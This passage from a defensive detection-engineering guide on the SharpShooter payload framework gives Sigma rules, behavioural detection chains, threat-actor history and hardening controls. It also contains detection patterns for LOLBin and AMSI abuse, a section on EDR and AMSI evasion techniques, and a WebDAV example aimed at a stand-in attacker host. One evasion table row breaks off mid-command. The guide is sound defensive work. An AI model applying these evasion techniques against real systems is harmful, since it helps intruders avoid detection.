11. Detection Chain 7: In-Memory Shellcode Execution
11.1 Technique
MITRE: T1055 (Process Injection) / T1106 (Native API)
Both staged and stageless SharpShooter payloads ultimately execute shellcode using the same pattern:
VirtualAllocwithEXECUTE_READWRITE(0x40) protectionMarshal.Copyto write shellcode bytesGetDelegateForFunctionPointerto create a callable delegate- Delegate invocation to execute shellcode
11.2 Detection Opportunities
ETW / API monitoring:
RWX memory allocation (PAGE_EXECUTE_READWRITE = 0x40) by a script host process or its CLR-hosted child assembly is highly suspicious. EDR products that hook NtAllocateVirtualMemory or monitor memory protection changes can flag this.
Call stack analysis:
The call stack at the VirtualAlloc call will traverse:
ntdll!NtAllocateVirtualMemory
kernel32!VirtualAlloc
[CLR JIT code] ← SharpShooter.Shoot()
clr!CallDescrWorkerInternal
mscorlib!System.Reflection.RuntimeMethodInfo.Invoke
A VirtualAlloc with RWX protection called from CLR JIT code inside a script host process is a near-certain indicator of shellcode execution.
Memory scanning:
After allocation, the memory region will contain raw shellcode. Periodic memory scanning by EDR products can identify known shellcode patterns (e.g., Cobalt Strike, Metasploit stagers) in RWX regions of script host processes.
12. Detection Chain 8: Sandbox Evasion (CheckPlease)
12.1 Technique
MITRE: T1497.001 (Virtualization/Sandbox Evasion: System Checks)
The CheckPlease module performs pre-execution checks to abort if the environment appears to be a sandbox or analysis system.
12.2 Detection (Reversed)
While these checks help the attacker avoid sandboxes, they also produce detectable behavior:
File existence checks (Sysmon EID 11 or ETW File I/O):
The payload queries File.Exists() for 32 VMware/VirtualBox driver paths. A burst of 32 file existence checks against C:\windows\Sysnative\Drivers\ is anomalous, especially from a script host process.
Network interface enumeration:
NetworkInterface.GetAllNetworkInterfaces() followed by GetPhysicalAddress() — while normal for networking tools, this is unusual from wscript.exe/cscript.exe.
Domain name query:
IPGlobalProperties.GetIPGlobalProperties().DomainName — again, unusual from a script host.
12.3 Sandbox Hardening (For Analysts)
To prevent CheckPlease from evading your sandbox:
- Ensure sandbox VMs have realistic MAC addresses (not default VMware/VirtualBox OUIs)
- Join sandbox VMs to a fake domain
- Remove or rename VMware/VirtualBox tools drivers
- Use hardware-passthrough or bare-metal analysis systems for high-priority samples
13. Sigma Rules
Sigma Rule 1: DotNetToJScript — CLR Loading in Script Host
title: DotNetToJScript - .NET CLR Loaded by Windows Script Host
id: 7a9c2b3d-1f4e-4b8c-9d5a-6e7f8c3b2a1d
status: stable
description: |
Detects Windows Script Host processes (wscript.exe, cscript.exe, mshta.exe)
loading .NET CLR DLLs, which indicates DotNetToJScript execution used by
SharpShooter, CACTUSTORCH, and similar frameworks.
references:
- https://github.com/FalconForceTeam/FalconFriday/blob/main/0xFF-0544-Script_Interpreter_Loading_DotNet_Assembly_From_Memory-Win.md
author: Siddhant Mishra (Bloo SpecterForce)
date: 2026-10-22
tags:
- attack.execution
- attack.t1059.007
- attack.t1059.005
- attack.defense_evasion
- attack.t1620
logsource:
category: image_load
product: windows
detection:
selection_process:
Image|endswith:
- '\wscript.exe'
- '\cscript.exe'
- '\mshta.exe'
selection_dll:
ImageLoaded|endswith:
- '\clr.dll'
- '\mscoree.dll'
- '\clrjit.dll'
- '\mscorlib.dll'
- '\mscorlib.ni.dll'
condition: selection_process and selection_dll
falsepositives:
- Legitimate .NET-based administrative scripts executed via WSH (rare)
- Some Group Policy scripts that use .NET COM interop
level: high
Sigma Rule 2: AMSI Bypass via AmsiEnable Registry Modification
title: AMSI Disabled via AmsiEnable Registry Key - SharpShooter Pattern
id: 8b4d5e6f-2a1c-4d9e-bf3c-7a8e9d1f5b2c
status: stable
description: |
Detects modification of the AmsiEnable registry value to 0, which disables
AMSI scanning for Windows Script Host. SharpShooter's amsikiller module
performs this write and then restores the original value after execution.
references:
- https://www.elastic.co/guide/en/security/current/modification-of-amsienable-registry-key.html
- https://detection.fyi/sigmahq/sigma/windows/registry/registry_set/registry_set_amsi_disable/
- https://www.tiraniddo.dev/2018/06/disabling-amsi-in-jscript-with-one.html
author: Siddhant Mishra (Bloo SpecterForce)
date: 2026-10-22
tags:
- attack.defense_evasion
- attack.t1562.001
logsource:
category: registry_set
product: windows
detection:
selection:
TargetObject|endswith: '\Software\Microsoft\Windows Script\Settings\AmsiEnable'
Details: 'DWORD (0x00000000)'
filter_gpo:
Image|endswith: '\svchost.exe'
condition: selection and not filter_gpo
falsepositives:
- IT administrators troubleshooting AMSI-related issues
- Symantec/Broadcom AMSIEnabled key (different path — verify TargetObject)
level: critical
Sigma Rule 3: Squiblydoo — Regsvr32 / Rundll32 with scrobj.dll
v2 CHANGES: Previous version matched only on
Image|endswith: '\regsvr32.exe'andCommandLine contains ['scrobj', '/i:']. This left three evasion paths open: (1) renamed regsvr32 (copy regsvr32.exe svchost.exe), (2)rundll32.exe scrobj.dll,CheckVersionCompatibilityas alternate LOLBin, (3) UNC path instead of HTTP/HTTPS. All three are now covered.
title: Squiblydoo - COM Scriptlet Execution via Regsvr32/Rundll32
id: 9c5e6f7a-3b2d-4e8f-8a4d-8b9f0e2a6c3d
status: stable
description: |
Detects loading of a COM scriptlet via scrobj.dll from regsvr32, rundll32,
or renamed variants of either. Covers HTTP(S) remote scriptlets, UNC paths,
and renamed-LOLBin evasion via OriginalFileName matching.
references:
- https://car.mitre.org/analytics/CAR-2019-04-003/
- https://attack.mitre.org/techniques/T1218/010/
author: Siddhant Mishra (Bloo SpecterForce)
date: 2026-10-22
tags:
- attack.defense_evasion
- attack.t1218.010
- attack.t1218.011
logsource:
category: process_creation
product: windows
detection:
selection_image:
Image|endswith:
- '\regsvr32.exe'
- '\rundll32.exe'
selection_originalfilename:
OriginalFileName:
- 'REGSVR32.EXE'
- 'RUNDLL32.EXE'
scrobj_regsvr32:
CommandLine|contains:
- 'scrobj'
CommandLine|contains|all:
- '/i:'
scrobj_rundll32:
CommandLine|contains|all:
- 'scrobj'
- 'CheckVersionCompatibility'
remote_payload:
CommandLine|contains:
- 'http://'
- 'https://'
- 'ftp://'
- '\\\\'
- '/scheme://'
condition: (selection_image or selection_originalfilename)
and (scrobj_regsvr32 or scrobj_rundll32)
and remote_payload
falsepositives:
- Legitimate COM scriptlet registration (extremely rare in enterprise)
level: critical
Sigma Rule 4: Squiblytwo — WMIC XSL Script Execution
title: Squiblytwo - WMIC XSL Remote Script Execution
id: ad6e7f8b-4c3d-4f9a-9b5e-9c0a1f3b7d4e
status: stable
description: |
Detects wmic.exe with /format: switch pointing to a remote URL or UNC path,
indicating XSL stylesheet execution (Squiblytwo) used by SharpShooter's AWL bypass.
references:
- https://attack.mitre.org/techniques/T1220/
- https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_wmic_xsl_script_processing
- https://research.splunk.com/endpoint/787e9dd0-4328-11ec-a029-acde48001122/
author: Siddhant Mishra (Bloo SpecterForce)
date: 2026-10-22
tags:
- attack.defense_evasion
- attack.t1220
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\WMIC.exe'
CommandLine|contains: '/format:'
selection_remote:
CommandLine|contains:
- 'http://'
- 'https://'
- '\\\\'
condition: selection and selection_remote
falsepositives:
- Legitimate use of WMIC with custom XSL formatting (very rare)
level: high
Sigma Rule 5: DNS Staging via Script Host Spawning nslookup
title: DNS Staging - Script Host Spawning Nslookup TXT Queries
id: be7f8a9c-5d4e-4a0b-ac6f-0d1b2e4c8a5f
status: stable
description: |
Detects nslookup.exe spawned by a Windows Script Host process with
TXT record query type, indicating DNS-based payload staging as used
by SharpShooter's DNS delivery mode.
references:
author: Siddhant Mishra (Bloo SpecterForce)
date: 2026-10-22
tags:
- attack.command_and_control
- attack.t1071.004
- attack.t1105
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith:
- '\wscript.exe'
- '\cscript.exe'
- '\mshta.exe'
selection_child:
Image|endswith: '\nslookup.exe'
CommandLine|contains: '-type=TXT'
condition: selection_parent and selection_child
falsepositives:
- Administrative scripts that perform DNS lookups (can be baselined per environment)
level: high
Sigma Rule 6: In-Memory C# Compilation from Script Host
title: Runtime C# Compilation from Script Host Process
id: cf8a9b0d-6e5f-4b1c-bd7a-1e2c3f5d9b6a
status: stable
description: |
Detects csc.exe (C# compiler) spawned by a script host process,
indicating in-memory compilation of staged payloads. SharpShooter's
staged delivery compiles downloaded C# source using CSharpCodeProvider.
references:
author: Siddhant Mishra (Bloo SpecterForce)
date: 2026-10-22
tags:
- attack.execution
- attack.t1027.004
- attack.defense_evasion
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\csc.exe'
ParentImage|endswith:
- '\wscript.exe'
- '\cscript.exe'
- '\mshta.exe'
condition: selection
falsepositives:
- Legitimate .NET script compilation via WSH (very rare)
level: critical
Sigma Rule 7: Script Host Outbound Network Connection
title: Windows Script Host Outbound Network Connection
id: da9b0c1e-7f6a-4c2d-ae8b-2f3d4a6e0c7b
status: test
description: |
Detects wscript.exe or cscript.exe making outbound network connections,
which may indicate staged payload retrieval (SharpShooter web staging)
or C2 communication.
author: Siddhant Mishra (Bloo SpecterForce)
date: 2026-10-22
tags:
- attack.command_and_control
- attack.t1105
logsource:
category: network_connection
product: windows
detection:
selection:
Image|endswith:
- '\wscript.exe'
- '\cscript.exe'
Initiated: 'true'
filter_internal:
DestinationIp|startswith:
- '10.'
- '172.16.'
- '172.17.'
- '172.18.'
- '172.19.'
- '172.20.'
- '172.21.'
- '172.22.'
- '172.23.'
- '172.24.'
- '172.25.'
- '172.26.'
- '172.27.'
- '172.28.'
- '172.29.'
- '172.30.'
- '172.31.'
- '192.168.'
- '127.'
condition: selection and not filter_internal
falsepositives:
- Legitimate login scripts that access external resources
- Software update scripts using WSH
level: medium
14. Composite Behavioral Detection Chains
Individual indicators have varying false positive rates. Combining them into multi-stage behavioral chains significantly increases detection confidence.
Chain A: Full SharpShooter Staged Execution
Stage 1: Script host spawns (EID 1)
wscript.exe / cscript.exe / mshta.exe launches
└─ with command line containing .js / .vbs / .hta / .wsf file
Stage 2: CLR loading (EID 7) [< 5 seconds]
Same process loads clr.dll + mscoree.dll + clrjit.dll
└─ CONFIRMS: DotNetToJScript deserialization
Stage 3: AMSI bypass (EID 13) [< 2 seconds]
AmsiEnable set to 0
└─ Script host re-launches itself (EID 1: parent = wscript → child = wscript)
Stage 4: Network callback (EID 3 or EID 1+22) [< 30 seconds]
Option A: HTTP outbound from script host (EID 3)
Option B: nslookup -type=TXT spawned by script host (EID 1 + 22)
Stage 5: In-memory compilation (EID 1) [< 10 seconds]
csc.exe spawned by script host with /unsafe flag
└─ Temp .cs file created in %LOCALAPPDATA%\Temp (EID 11)
Stage 6: Post-exploitation
Shellcode execution via VirtualAlloc → delegate invocation
└─ May spawn additional processes or inject into others
Confidence: Stages 1+2 alone = HIGH. Add any of 3-5 = CRITICAL.
Chain B: HTML Smuggling → Script Execution
Stage 1: Browser writes file (EID 11)
chrome.exe / msedge.exe creates file in Downloads folder
└─ File extension: .js / .vbs / .hta / .wsf
Stage 2: User executes dropped file (EID 1) [< 10 minutes]
wscript.exe / cscript.exe / mshta.exe launches
└─ CommandLine references file in Downloads folder
Stage 3: CLR loading (EID 7) [< 5 seconds]
CLR DLLs loaded by script host
Stage 4: Payload execution (Chain A continues)
Chain C: SLK Macro Shellcode
Stage 1: Excel opens SLK file (EID 1)
EXCEL.EXE launches
└─ CommandLine contains .slk file
Stage 2: Excel spawns child process (EID 1) [< 60 seconds]
ParentImage: EXCEL.EXE
└─ Image: cmd.exe / powershell.exe / rundll32.exe / unexpected binary
└─ CONFIRMS: Macro executed code outside Excel
Alternative Stage 2: No child process
└─ Shellcode runs in-process via CreateThread
└─ Detection requires memory scanning or API hooking
Chain D: Squiblydoo/Squiblytwo AWL Bypass
Stage 1: Script host spawns (EID 1)
wscript.exe / cscript.exe executes payload
Stage 2: LOLBin execution (EID 1) [< 5 seconds]
Option A: regsvr32.exe with /i:[url] scrobj.dll (Squiblydoo)
Option B: wmic.exe with /format:[url] (Squiblytwo)
Stage 3: Second-stage CLR loading (EID 7)
regsvr32.exe or wmic.exe loads clr.dll
└─ DotNetToJScript re-enters via XSL/SCT payload
Stage 4: Payload execution continues
15. Threat Actor Usage
SharpShooter and its derived techniques have been observed in campaigns by multiple threat actors.
| Actor / Campaign | Timeframe | Technique Used | Payload Delivered | Reference |
|---|---|---|---|---|
| Unknown (Morphisec report) | 2018 | SharpShooter framework (JS payloads, staged delivery) | Multiple RATs | Morphisec Blog |
| Lazarus Group | 2018-2020 | DotNetToJScript + HTA + VBS macros (Operation Dream Job / AppleJeus) | Custom backdoors | MITRE T1220 references |
| Cobalt Group | 2018-2019 | XSL Script Processing (Squiblytwo variant) | Cobalt Strike | MITRE T1220 references |
| Higaisa | 2019-2020 | XSL stylesheet execution via wmic.exe | Custom malware | MITRE T1220 references |
| Astaroth | 2019-2020 | XSL/WMIC execution chain | Astaroth infostealer | MITRE T1220 references |
| FIN7 | 2019-2021 | Script host DLL loading patterns, COM-based execution | Various payloads | Splunk analytics |
| DotNetToJScript (general) | 2018-present | BinaryFormatter deserialization in WSH | Various | Multiple red team tools (CACTUSTORCH, StarFighters) |
| HTML Smuggling campaigns | 2021-present | Demiguise-style smuggling (Nobelium, QakBot, IcedID, Pikabot) | Diverse loaders | MITRE T1027.006 |
Note: Direct attribution to SharpShooter specifically (vs. derived techniques) is limited. The tool's source code is publicly available, and many actors have adopted its individual techniques without using the full framework.
16. Hardening & Mitigation
16.1 Windows Script Host Controls
| Control | Implementation | Impact |
|---|---|---|
| Disable WSH | Registry: HKLM\Software\Microsoft\Windows Script Host\Settings\Enabled = 0 | Blocks all JS/VBS/WSF execution via wscript/cscript |
| Block specific extensions | Group Policy: Software Restriction Policies for .js, .jse, .vbs, .vbe, .wsf | Prevents double-click execution while allowing admin use |
| File association remap | Re-associate .js/.vbs to Notepad instead of WSH | Users open scripts in editor instead of executing |
16.2 Attack Surface Reduction (ASR) Rules
| GUID | Rule Name | SharpShooter Relevance |
|---|---|---|
d4f940ab-401b-4efc-aadc-ad5f3c50688a | Block Office applications from creating child processes | Prevents macro → wscript chain |
b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4 | Block untrusted/unsigned processes from USB | Blocks execution from removable media |
92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B | Block Win32 API calls from Office macros | Blocks VirtualAlloc/CreateThread from XLM |
3b576869-a4ec-4529-8536-b80a7769e899 | Block Office applications from creating executable content | Prevents dropped payload files |
be9ba2d9-53ea-4cdc-84e5-9b1eeee46550 | Block executable content from email client and webmail | Blocks smuggled file execution |
16.3 Application Control
| Control | Implementation |
|---|---|
| WDAC/AppLocker | Block regsvr32.exe from loading scrobj.dll; restrict wmic.exe execution to admin accounts |
| COM object restrictions | Use DCOM Configuration (dcomcnfg) to restrict ShellBrowserWindow and other abused COM objects |
| AMSI enforcement | Monitor for AmsiEnable modifications; alert on any registry writes to this path |
16.4 Email/Web Gateway
| Control | SharpShooter Relevance |
|---|---|
| Block HTML attachments with large embedded JavaScript | Catches Demiguise smuggling |
| Block .slk file attachments | Eliminates Excel 4.0 macro vector |
| Block .js/.vbs/.hta/.wsf attachments | Prevents direct script delivery |
| Block .sct (COM scriptlet) files | Prevents Squiblydoo payload hosting |
| Scan HTML for Blob/createObjectURL patterns | Detects smuggling technique |
| DNS monitoring for high-volume TXT queries | Catches DNS staging |
16.5 .NET Framework Hardening
| Control | Implementation |
|---|---|
| Force CLR v4 | Remove .NET Framework v2/v3.5 if not required — eliminates DotNetToJScript's preferred AMSI-free runtime |
| BinaryFormatter restrictions | .NET 5+ disables BinaryFormatter by default; for Framework apps, set SerializationGuard |
| Assembly load monitoring | Enable .NET Runtime ETW provider for assembly load auditing |
17. Known Evasions and Coverage Gaps
Honest accounting of what the rules in this guide do not catch. This section exists so SOC leads can plan compensating controls and validate claims against red team exercises.
17.1 Mid-Tier and Nation-State Evasions by Chain
| Chain | Evasion |
|---|---|
| Chain 1 (DotNetToJScript CLR load) | CLR 4.0+ with UseLegacyV2RuntimeActivationPolicy=false bypasses the AMSI-free v2 angle; CACTUSTORCH uses direct syscalls via DynamicInvoke of unmanaged exports and never loads mscoree.dll; System.Reflection.Emit runtime assembly construction leaves no Assembly.Load call. |
| Chain 2 (AMSI registry bypass) | Modern operators use memory-patch bypass (AmsiScanBuffer prologue patch), hardware breakpoints, or amsiInitFailed reflection — zero registry artifact. See §6.4. |
| Chain 3 (Squiblydoo/Squiblytwo) | WDAC-trusted LOLBins only: mshta.exe with embedded VBScript, cmstp.exe with INF, or installutil.exe with CustomActions avoid both regsvr32 and wmic. |
| Chain 4 (HTML Smuggling) | SVG smuggling (Nobelium 2023+): payload in <script> inside SVG, no HTML involvement. Service Worker smuggling: Blob written from registered SW context, parent process attribution to browser lost. Office HTML content type manipulation via docx/pptx XML. |
| Chain 5 (DNS Staging) | Real operators do not call nslookup.exe. P/Invoke DnsQuery_A from the WSH process; DoH via WinHTTP to cloudflare-dns.com/dns-query — appears as HTTPS, bypasses DNS inspection entirely. |
| Chain 6 (SLK/XLM) | Formula-level obfuscation of REGISTER strings (=CHAR(86)&CHAR(105)... building "VirtualAlloc"); sheet cross-reference indirection; Application.Run via hidden add-in. |
| Chain 7 (Shellcode) | Operators now avoid VirtualAlloc(RWX) entirely — allocate RW, write shellcode, VirtualProtect to RX, execute. The RWX signal in your Chain 7 is dated. Also: delegate dispatch via CallWindowProc, APC injection via NtQueueApcThread. |
| Chain 8 (CheckPlease) | Sandbox evasion today reads: parent process is explorer.exe (not cmd.exe), user interaction count via GetLastInputInfo, recent document count via Registry, CPU core count ≥ 4. CheckPlease's 2018 artifacts list is outdated. |
17.2 Rule-Specific Evasions
| Sigma Rule | Evasion |
|---|---|
| Rule 1 (CLR DLL in script host) | CLR hosted via mshta.exe + ActiveXObject in HTA sometimes bypasses the strict Image endswith list; unmanaged bootstrap via COMSVCS.dll loads CLR via COM activation without direct mscoree.dll import. |
| Rule 2 (AmsiEnable registry) | Any of the modern bypasses in §6.4 leaves this rule silent. |
| Rule 3 (Squiblydoo) | v2 of this rule now covers rundll32+scrobj and UNC — residual evasion: odbcconf.exe /A {REGSVR ...} loads scrobj indirectly without triggering the CommandLine filter. |
| Rule 4 (Squiblytwo WMIC) | WMIC deprecation in Win11 24H2+ is pushing operators to PowerShell Format-List XSL abuse (`$x = [xml](Get-WmiObject ...); $x |
| Rule 5 (nslookup TXT by script host) | Caught only when attacker uses literal nslookup.exe; see Chain 5 evasion. |
| Rule 6 (csc.exe from script host) | Attacker uses in-memory Roslyn API (Microsoft.CodeAnalysis.CSharp.CSharpCompilation) — compiles without spawning csc.exe at all. Modern replacement for CSharpCodeProvider. |
| Rule 7 (script host outbound net) | WebDAV mount via net use \\attacker.com\dav then file access via UNC path appears as svchost.exe (webdav client service) network traffic — not the script host. |
17.3 Pre-Chain Attacks Not Addressed
- EDR/Sysmon tampering before SharpShooter payload arrives: BYOVD, service stop via
SeDebugPrivilege, ETW provider patching viaEtwpSetProviderTraitscorruption - Code signing certificate theft → signed .NET assembly delivery bypasses most of this guide's unsigned-binary assumptions
- Pre-staged WDAC exceptions — if attacker achieved any prior code execution, they may have poisoned WDAC policy supplemental deny lists
17.4 Compensating Controls for Residual Risk
| Residual Risk | Control |
|---|---|
| Modern AMSI bypass (memory patch) | Microsoft-Windows-Threat-Intelligence ETW (requires PPL EDR): detects direct syscall abuse, PE memory anomalies, memory patch of AMSI functions |
Direct syscall DnsQuery_A DoH | DNS inspection firewall at egress; block well-known DoH endpoints (cloudflare-dns.com, dns.google, dns.quad9.net) at the perimeter unless business-justified |
| In-memory Roslyn compilation | CLR Loader Lock ETW (Microsoft-Windows-DotNETRuntime provider, keyword 0x1): AssemblyLoader_Start events reveal in-memory assembly loading even without disk artifact |
| RWX avoidance via VirtualProtect | ETW Microsoft-Windows-Kernel-Memory provider: alert on RW → RX transitions in script host or Office process memory |
| Signed payload bypass | Deploy WDAC in "Trust Publisher + Specific CatalogSigner" mode, not just "Trust Microsoft"; maintain Microsoft Driver Block Rules + VulnerableDriverBlocklist |
17.5 Red Team Validation Mapping
Validate detections using Atomic Red Team tests before claiming coverage:
| Rule | Atomic Red Team Test |
|---|---|
| Rule 1 (CLR load) | T1620 "Reflective Code Loading" test #1-#3 |
| Rule 2 (AMSI reg) | T1562.001 test #11 ("AMSI Bypass - AMSI InitFailed") |
| Rule 3 (Squiblydoo) | T1218.010 test #1, #4 |
| Rule 4 (Squiblytwo) | T1220 test #4 ("WMIC bypass using local xsl file") |
| Rule 5 (DNS staging) | T1071.004 test #1-#3 (adapt for script-host parent) |
| Rule 6 (csc.exe) | T1027.004 test #1, #2 |
Baseline each test in Audit mode first; measure true positive rate and false positive volume before Block-mode deployment.
18. References
MITRE ATT&CK
- T1059.007 — Command and Scripting Interpreter: JavaScript
- T1218.010 — System Binary Proxy Execution: Regsvr32
- T1220 — XSL Script Processing
- T1027.006 — HTML Smuggling
- T1562.001 — Impair Defenses: Disable or Modify Tools
- DET0264 — Cross-Platform Detection of JavaScript Execution Abuse
- DET0313 — HTML Smuggling via JavaScript Blob
Detection Engineering
- FalconForce — Script Interpreter Loading .NET Assembly From Memory
- Elastic — Modification of AmsiEnable Registry Key
- Sigma — AMSI Disabled via Registry Modification
- Sigma — WMIC XSL Script Execution
- Sigma — Squiblytwo Bypass
- MITRE CAR — CAR-2019-04-003: Squiblydoo
- Splunk — WMIC XSL Execution via URL
- ManageEngine — DotNet CLR DLL Loaded by Scripting Applications
- Elastic — Suspicious Managed Code Hosting Process
AMSI Bypass Research
- Tyranid's Lair — Disabling AMSI in JScript with One Simple Trick
- Hunting for AMSI Bypassing Methods (Mostafa Yahia)
- Atomic Red Team — AMSI Bypass via AmsiEnable Registry Key
Red Team & Technique References
- ired.team — Executing C# Assemblies from JScript with DotNetToJScript
- Outflank — HTML Smuggling Explained
- Offensive-COM — Detection Engineering for COM-based Attacks
Detection rules in this guide are provided for defensive security research and authorized testing. Validate all rules against your environment's baseline before deploying to production.